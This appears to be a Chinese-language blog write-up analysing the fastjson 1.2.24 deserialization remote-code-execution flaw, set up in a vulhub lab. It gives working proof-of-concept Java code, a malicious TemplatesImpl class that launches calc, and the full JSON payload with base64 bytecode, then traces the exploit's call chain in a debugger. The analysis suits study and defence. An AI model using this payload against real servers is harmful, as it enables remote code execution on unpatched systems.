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fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

2019-11-24 20:50 1666 查看

环境搭建:

漏洞影响版本:

fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞

环境地址:

https://github.com/vulhub/vulhub/tree/master/fastjson/vuln

正常访问页面返回hello,world~

 

此时抓包修改content-type为json格式,并post payload,即可执行rce

 此时就能够创建success文件

前置知识:

研究这个漏洞之前,先熟悉一下阿里的这个fastjson库的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {

public static  void  main(String[] args){
Map<String,Object> map = new HashMap<String, Object>();
map.put("key1","one");
map.put("key2","two");
//System.out.println(map.getClass());
String mapjson = JSON.toJSONString(map);
System.out.println(mapjson.getClass());
user user1 = new user ();
user1.setName("111");
System.out.println(JSON.toJSONString(user1));

String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
user user2=(user)JSON.parse(serializedStr1);
System.out.println(user2.getName());

Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println(obj.getClass());

Object obj1 = JSON.parseObject(serializedStr1,Object.class);
//user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
user obj2 = (user)obj1;
System.out.println(obj2.getName());
System.out.println(obj2.getClass());

}

}
//输出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

这里user为定义好的一个类,实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串,当然也提供从字符串中恢复出对象,也就是一个序列化和反序列化的过程,

可以从输出看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象

漏洞分析:

这个漏洞利用方式有好种,这篇文章主要分析利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,那么这个类的构造函数是我们可控的,就能够rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

}

test.java在这里的话主要是用户parseObject json反序列化时所要还原的类,因为在这会实例化该类,因此直接在其构造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());

}

public static void  test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +    //将evilcode放在_bytecodes处
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
//String personStr = "{'name':"+text1+",'age':19}";
//Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化,此时要设置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我们已经知道在反序列化解析json字符串时在parseobject时触发

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下断点,运行poc.java

此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload

 此时判断我们传入的features是否为null,这里

我们已经制定了支持非publicfield属性,因为使用的_bytescode实际为非public的,否则无法反序列化,接着调用defaultJsonParser来进一步处理payload

 此时进一步调用javaObjectDeserializer,也就是反序列化时所使用的反序列化引擎,继续跟进

 此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足,所以调用parse.parse来解析

实际上此时又回到了

并且在此调用parseObject函数来处理我们的payload

接下来一部分就是语法解析,先匹配出了其中的双引号",

 比如先在parseObject函数中匹配出了@type

 匹配出@type标志以后,将会继续向后扫描json字符串,即取匹配相应的值,这个值也就是我们想要反序列化的类

 继续往下走,将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的templatesimpl类,

跟进此函数,则可以看到此时token为16并且text为我们的payload

 接下来会调用parseField函数来对json字符串中的一些key值进行匹配

 这个方法里面会调用smartmatch来对key值进行一些处理,比如将_bytecodes的下划线删除

 当处理到_outputProperties字段时,步入其smartMatch方法

 此时在FieldDeserializer中将会调用setValue方,此时将会在其中调用getOutputProperties()方法,因为存在OutputProperties属性

 

 此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数,在newTransformer函数中又调用了getTransletInstance()函数,

 

 这里首先判断_name字段不能为空,这也是为啥payload里面会设置一个_name字段

 接下来就会调用newInstance()函数来实例化对象了,可以看到此事要求实例化的对象时AbstractTranslet类的,那么只需要让我们的payload中的类继承自该类即可, 

可以看到此时_transletIndex为零,因此此时实例化的就是我们构造的恶意类,

 

缩减后的整个调用链即为:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

参考:

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://www.freebuf.com/vuls/178012.html

https://www.anquanke.com/post/id/173459#h2-10

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

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